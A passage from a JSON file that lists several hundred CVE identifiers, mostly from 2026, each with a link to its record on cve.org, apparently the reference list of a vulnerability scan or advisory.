{
"name": "CVE-2026-33845",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33845"
},
{
"name": "CVE-2026-102598",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-102598"
},
{
"name": "CVE-2026-56288",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56288"
},
{
"name": "CVE-2026-34743",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34743"
},
{
"name": "CVE-2026-25087",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25087"
},
{
"name": "CVE-2026-56862",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56862"
},
{
"name": "CVE-2025-68973",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-68973"
},
{
"name": "CVE-2026-89092",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-89092"
},
{
"name": "CVE-2026-94265",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-94265"
},
{
"name": "CVE-2026-115455",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-115455"
},
{
"name": "CVE-2026-53613",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53613"
},
{
"name": "CVE-2026-53614",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53614"
},
{
"name": "CVE-2026-59995",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59995"
},
{
"name": "CVE-2026-44405",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44405"
},
{
"name": "CVE-2026-53877",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53877"
},
{
"name": "CVE-2026-50252",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50252"
},
{
"name": "CVE-2026-16239",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16239"
},
{
"name": "CVE-2026-97032",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-97032"
},
{
"name": "CVE-2026-42309",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42309"
},
{
"name": "CVE-2026-42507",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42507"
},
{
"name": "CVE-2026-33818",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33818"
},
{
"name": "CVE-2026-12075",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12075"
},
{
"name": "CVE-2026-77407",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77407"
},
{
"name": "CVE-2026-6474",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6474"
},
{
"name": "CVE-2026-42306",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42306"
},
{
"name": "CVE-2026-15742",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15742"
},
{
"name": "CVE-2025-10148",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-10148"
},
{
"name": "CVE-2026-39830",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39830"
},
{
"name": "CVE-2026-63384",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63384"
},
{
"name": "CVE-2025-25724",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-25724"
},
{
"name": "CVE-2026-6472",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6472"
},
{
"name": "CVE-2025-14087",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14087"
},
{
"name": "CVE-2026-6469",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6469"
},
{
"name": "CVE-2026-34180",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34180"
},
{
"name": "CVE-2026-68763",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-68763"
},
{
"name": "CVE-2026-5160",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5160"
},
{
"name": "CVE-2026-41637",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41637"
},
{
"name": "CVE-2026-86805",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86805"
},
{
"name": "CVE-2026-1669",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1669"
},
{
"name": "CVE-2026-96234",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96234"
},
{
"name": "CVE-2026-39956",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39956"
},
{
"name": "CVE-2026-71886",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71886"
},
{
"name": "CVE-2026-45416",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45416"
},
{
"name": "CVE-2026-6846",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6846"
},
{
"name": "CVE-2025-69645",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69645"
},
{
"name": "CVE-2026-73228",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73228"
},
{
"name": "CVE-2026-33186",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33186"
},
{
"name": "CVE-2025-7545",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-7545"
},
{
"name": "CVE-2026-39826",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39826"
},
{
"name": "CVE-2026-45404",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45404"
},
{
"name": "CVE-2026-104851",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-104851"
},
{
"name": "CVE-2026-44687",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44687"
},
{
"name": "CVE-2026-81723",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-81723"
},
{
"name": "CVE-2026-78660",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78660"
},
{
"name": "CVE-2026-18374",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18374"
},
{
"name": "CVE-2026-80489",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-80489"
},
{
"name": "CVE-2026-75806",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-75806"
},
{
"name": "CVE-2026-77696",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77696"
},
{
"name": "CVE-2026-19667",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19667"
},
{
"name": "CVE-2026-42766",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42766"
},
{
"name": "CVE-2026-96636",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96636"
},
{
"name": "CVE-2025-8556",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8556"
},
{
"name": "CVE-2026-12481",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12481"
},
{
"name": "CVE-2026-112392",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112392"
},
{
"name": "CVE-2026-13346",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13346"
},
{
"name": "CVE-2026-59848",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59848"
},
{
"name": "CVE-2026-44740",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44740"
},
{
"name": "CVE-2026-53783",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53783"
},
{
"name": "CVE-2026-47692",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47692"
},
{
"name": "CVE-2026-9076",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9076"
},
{
"name": "CVE-2026-50560",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50560"
},
{
"name": "CVE-2026-73508",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73508"
},
{
"name": "CVE-2026-95521",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-95521"
},
{
"name": "CVE-2025-22872",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22872"
},
{
"name": "CVE-2026-12482",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12482"
},
{
"name": "CVE-2026-15310",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15310"
},
{
"name": "CVE-2025-8277",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8277"
},
{
"name": "CVE-2025-8941",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8941"
},
{
"name": "CVE-2026-87863",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87863"
},
{
"name": "CVE-2026-42508",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42508"
},
{
"name": "CVE-2026-84445",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-84445"
},
{
"name": "CVE-2021-3572",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-3572"
},
{
"name": "CVE-2025-66866",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66866"
},
{
"name": "CVE-2026-13608",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13608"
},
{
"name": "CVE-2026-107161",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-107161"
},
{
"name": "CVE-2026-90830",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-90830"
},
{
"name": "CVE-2026-77791",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77791"
},
{
"name": "CVE-2026-114583",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-114583"
},
{
"name": "CVE-2026-63209",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63209"
},
{
"name": "CVE-2026-32286",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32286"
},
{
"name": "CVE-2025-32386",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-32386"
},
{
"name": "CVE-2026-6479",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6479"
},
{
"name": "CVE-2026-43894",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43894"
},
{
"name": "CVE-2025-11840",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11840"
},
{
"name": "CVE-2026-93578",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93578"
},
{
"name": "CVE-2024-52005",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-52005"
},
{
"name": "CVE-2026-39984",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39984"
},
{
"name": "CVE-2026-42496",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42496"
},
{
"name": "CVE-2023-54404",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-54404"
},
{
"name": "CVE-2026-59999",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59999"
},
{
"name": "CVE-2026-40468",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40468"
},
{
"name": "CVE-2026-1965",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1965"
},
{
"name": "CVE-2026-76183",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76183"
},
{
"name": "CVE-2026-40467",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40467"
},
{
"name": "CVE-2026-112944",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112944"
},
{
"name": "CVE-2026-54514",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54514"
},
{
"name": "CVE-2026-46718",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46718"
},
{
"name": "CVE-2026-34181",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34181"
},
{
"name": "CVE-2026-106450",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-106450"
},
{
"name": "CVE-2026-35189",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-35189"
},
{
"name": "CVE-2026-47207",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47207"
},
{
"name": "CVE-2026-97687",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-97687"
},
{
"name": "CVE-2026-32327",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32327"
},
{
"name": "CVE-2025-0913",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-0913"
},
{
"name": "CVE-2024-26147",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-26147"
},
{
"name": "CVE-2026-81870",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-81870"
},
{
"name": "CVE-2026-93568",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93568"
},
{
"name": "CVE-2026-55276",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55276"
},
{
"name": "CVE-2026-25990",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25990"
},
{
"name": "CVE-2026-58013",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58013"
},
{
"name": "CVE-2020-25694",
"url": "https://www.cve.org/CVERecord?id=CVE-2020-25694"
},
{
"name": "CVE-2026-32288",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32288"
},
{
"name": "CVE-2026-56416",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56416"
},
{
"name": "CVE-2026-41568",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41568"
},
{
"name": "CVE-2026-95210",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-95210"
},
{
"name": "CVE-2026-12345",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12345"
},
{
"name": "CVE-2026-97030",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-97030"
},
{
"name": "CVE-2025-46835",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-46835"
},
{
"name": "CVE-2026-96233",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96233"
},
{
"name": "CVE-2025-47907",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47907"
},
{
"name": "CVE-2025-1181",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1181"
},
{
"name": "CVE-2026-107928",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-107928"
},
{
"name": "CVE-2026-42497",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42497"
},
{
"name": "CVE-2022-41409",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41409"
},
{
"name": "CVE-2026-66007",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66007"
},
{
"name": "CVE-2025-12084",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12084"
},
{
"name": "CVE-2026-47892",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47892"
},
{
"name": "CVE-2026-59921",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59921"
},
{
"name": "CVE-2026-71514",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71514"
},
{
"name": "CVE-2026-0897",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0897"
},
{
"name": "CVE-2026-91779",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-91779"
},
{
"name": "CVE-2026-42770",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42770"
},
{
"name": "CVE-2025-5197",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5197"
},
{
"name": "CVE-2026-26309",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26309"
},
{
"name": "CVE-2026-54058",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54058"
},
{
"name": "CVE-2024-47611",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-47611"
},
{
"name": "CVE-2026-89156",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-89156"
},
{
"name": "CVE-2026-78682",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78682"
},
{
"name": "CVE-2025-45582",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-45582"
},
{
"name": "CVE-2026-91776",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-91776"
},
{
"name": "CVE-2025-46569",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-46569"
},
{
"name": "CVE-2026-27138",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27138"
},
{
"name": "CVE-2025-11468",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11468"
},
{
"name": "CVE-2026-86414",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86414"
},
{
"name": "CVE-2026-82208",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-82208"
},
{
"name": "CVE-2026-40355",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40355"
},
{
"name": "CVE-2026-12479",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12479"
},
{
"name": "CVE-2026-8926",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8926"
},
{
"name": "CVE-2026-95837",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-95837"
},
{
"name": "CVE-2026-93491",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93491"
},
{
"name": "CVE-2026-32284",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32284"
},
{
"name": "CVE-2026-96778",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96778"
},
{
"name": "CVE-2023-45288",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-45288"
},
{
"name": "CVE-2026-46675",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46675"
},
{
"name": "CVE-2026-45673",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45673"
},
{
"name": "CVE-2026-73282",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73282"
},
{
"name": "CVE-2026-3446",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3446"
},
{
"name": "CVE-2026-32875",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32875"
},
{
"name": "CVE-2026-106452",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-106452"
},
{
"name": "CVE-2026-39822",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39822"
},
{
"name": "CVE-2026-111748",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111748"
},
{
"name": "CVE-2026-112910",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112910"
},
{
"name": "CVE-2026-39833",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39833"
},
{
"name": "CVE-2026-112398",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112398"
},
{
"name": "CVE-2025-2149",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-2149"
},
{
"name": "CVE-2025-69419",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69419"
},
{
"name": "CVE-2025-6052",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6052"
},
{
"name": "CVE-2026-3783",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3783"
},
{
"name": "CVE-2026-66822",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66822"
},
{
"name": "CVE-2026-13221",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13221"
},
{
"name": "CVE-2026-34502",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34502"
},
{
"name": "CVE-2026-33814",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33814"
},
{
"name": "CVE-2026-23831",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-23831"
},
{
"name": "CVE-2026-27456",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27456"
},
{
"name": "CVE-2026-96225",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96225"
},
{
"name": "CVE-2026-22701",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22701"
},
{
"name": "CVE-2026-33748",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33748"
},
{
"name": "CVE-2026-63074",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63074"
},
{
"name": "CVE-2026-88815",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-88815"
},
{
"name": "CVE-2026-111943",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111943"
},
{
"name": "CVE-2026-68569",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-68569"
},
{
"name": "CVE-2025-2953",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-2953"
},
{
"name": "CVE-2026-8458",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8458"
},
{
"name": "CVE-2026-59084",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59084"
},
{
"name": "CVE-2026-14586",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14586"
},
{
"name": "CVE-2026-93493",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93493"
},
{
"name": "CVE-2025-58185",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58185"
},
{
"name": "CVE-2026-65183",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65183"
},
{
"name": "CVE-2026-85501",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-85501"
},
{
"name": "CVE-2025-3933",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-3933"
},
{
"name": "CVE-2025-49794",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-49794"
},
{
"name": "CVE-2024-57970",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-57970"
},
{
"name": "CVE-2026-77421",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77421"
},
{
"name": "CVE-2026-6429",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6429"
},
{
"name": "CVE-2026-5419",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5419"
},
{
"name": "CVE-2025-61731",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61731"
},
{
"name": "CVE-2026-4426",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4426"
},
{
"name": "CVE-2026-77756",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77756"
},
{
"name": "CVE-2026-45536",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45536"
},
{
"name": "CVE-2025-3000",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-3000"
},
{
"name": "CVE-2026-14739",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14739"
},
{
"name": "CVE-2023-36632",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36632"
},
{
"name": "CVE-2026-112061",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112061"
},
{
"name": "CVE-2026-93573",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93573"
},
{
"name": "CVE-2026-58015",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58015"
},
{
"name": "CVE-2026-39824",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39824"
},
{
"name": "CVE-2026-56131",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56131"
},
{
"name": "CVE-2026-88041",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-88041"
},
{
"name": "CVE-2025-66863",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66863"
},
{
"name": "CVE-2026-96405",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96405"
},
{
"name": "CVE-2026-96644",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96644"
},
{
"name": "CVE-2026-27137",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27137"
},
{
"name": "CVE-2026-27143",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27143"
},
{
"name": "CVE-2024-56171",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-56171"
},
{
"name": "CVE-2026-12484",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12484"
},
{
"name": "CVE-2026-85363",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-85363"
},
{
"name": "CVE-2026-8674",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8674"
},
{
"name": "CVE-2026-54911",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54911"
},
{
"name": "CVE-2026-85732",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-85732"
},
{
"name": "CVE-2026-46600",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46600"
},
{
"name": "CVE-2026-96637",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96637"
},
{
"name": "CVE-2026-112896",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112896"
},
{
"name": "CVE-2026-45445",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45445"
},
{
"name": "CVE-2026-29111",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-29111"
},
{
"name": "CVE-2026-112900",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112900"
},
{
"name": "CVE-2026-68525",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-68525"
},
{
"name": "CVE-2025-13837",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13837"
},
{
"name": "CVE-2026-70453",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70453"
},
{
"name": "CVE-2026-59901",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59901"
},
{
"name": "CVE-2026-47262",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47262"
},
{
"name": "CVE-2026-18508",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18508"
},
{
"name": "CVE-2026-18040",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18040"
},
{
"name": "CVE-2026-33747",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33747"
},
{
"name": "CVE-2025-71408",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-71408"
},
{
"name": "CVE-2025-15649",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15649"
},
{
"name": "CVE-2026-3731",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3731"
},
{
"name": "CVE-2026-84233",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-84233"
},
{
"name": "CVE-2026-39832",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39832"
},
{
"name": "CVE-2026-118370",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-118370"
},
{
"name": "CVE-2026-35469",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-35469"
},
{
"name": "CVE-2026-112902",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112902"
},
{
"name": "CVE-2026-73500",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73500"
},
{
"name": "CVE-2026-9698",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9698"
},
{
"name": "CVE-2026-19548",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19548"
},
{
"name": "CVE-2026-41257",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41257"
},
{
"name": "CVE-2026-81725",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-81725"
},
{
"name": "CVE-2026-42015",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42015"
},
{
"name": "CVE-2026-112909",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112909"
},
{
"name": "CVE-2026-39829",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39829"
},
{
"name": "CVE-2026-112397",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112397"
},
{
"name": "CVE-2026-68498",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-68498"
},
{
"name": "CVE-2025-69652",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69652"
},
{
"name": "CVE-2026-66046",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66046"
},
{
"name": "CVE-2026-53795",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53795"
},
{
"name": "CVE-2026-41178",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41178"
},
{
"name": "CVE-2026-112394",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112394"
},
{
"name": "CVE-2024-8176",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-8176"
},
{
"name": "CVE-2026-56392",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56392"
},
{
"name": "CVE-2026-65637",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65637"
},
{
"name": "CVE-2026-8376",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8376"
},
{
"name": "CVE-2026-50163",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50163"
},
{
"name": "CVE-2025-9905",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-9905"
},
{
"name": "CVE-2026-119377",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-119377"
},
{
"name": "CVE-2026-86411",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86411"
},
{
"name": "CVE-2025-15367",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15367"
},
{
"name": "CVE-2026-58014",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58014"
},
{
"name": "CVE-2026-54516",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54516"
},
{
"name": "CVE-2026-3442",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3442"
},
{
"name": "CVE-2026-86142",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86142"
},
{
"name": "CVE-2026-13595",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13595"
},
{
"name": "CVE-2026-6357",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6357"
},
{
"name": "CVE-2026-103995",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-103995"
},
{
"name": "CVE-2026-85999",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-85999"
},
{
"name": "CVE-2026-56410",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56410"
},
{
"name": "CVE-2026-71885",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71885"
},
{
"name": "CVE-2026-48044",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48044"
},
{
"name": "CVE-2025-15467",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15467"
},
{
"name": "CVE-2026-90803",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-90803"
},
{
"name": "CVE-2025-9820",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-9820"
},
{
"name": "CVE-2026-19546",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19546"
},
{
"name": "CVE-2026-2006",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2006"
},
{
"name": "CVE-2026-54515",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54515"
},
{
"name": "CVE-2025-1180",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1180"
},
{
"name": "CVE-2025-4373",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4373"
},
{
